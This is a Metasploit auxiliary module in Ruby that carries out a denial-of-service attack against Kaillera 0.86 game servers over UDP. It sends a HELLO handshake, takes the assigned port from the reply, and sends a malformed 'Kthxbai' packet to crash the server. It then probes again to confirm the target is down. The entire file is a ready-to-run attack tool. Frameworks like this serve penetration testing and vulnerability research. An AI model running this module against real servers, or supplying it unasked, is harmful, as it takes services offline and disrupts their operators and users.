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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Udp
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Kaillera 0.86 Server Denial of Service' ,
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      'Description'    => %q{
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          The Kaillera 0.86 server can be shut down by sending any malformed packet
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        after the initial "hello" packet.
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      },
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      'Author'         => ["Sil3nt_Dre4m"],
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      'License'        => MSF_LICENSE,
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      'DisclosureDate' => '2011-07-02'))
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    register_options([
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      Opt::RPORT(27888)
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    ])
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  end
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  def run
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    # Send HELLO to target
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    connect_udp
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    print_status("Sending Crash request...")
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    udp_sock.put("HELLO0.83\0")
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    res = udp_sock.recvfrom(15)
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    disconnect_udp
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    if res[0] =~ /HELLOD00D([0-9]{1,5})/
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      port = $1
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    else print_error("Connection failed")
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      return
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    end
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    # Send DOS packet
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    connect_udp(global = true,'RPORT' => port)
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    print_status("Sending DoS packet to #{rhost}:#{port}...")
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    udp_sock.put("Kthxbai")
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    disconnect_udp
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    # Check is target is down
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    connect_udp
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    print_status("Checking target...")
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    udp_sock.put("HELLO0.83\0")
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    res = udp_sock.recvfrom(15)
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    disconnect_udp
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    if res[0] =~ /HELLO/
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      print_error("DoS attempt failed.  It appears target is still up.")
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    else
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      print_good("Target is down")
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    end
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  end
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end
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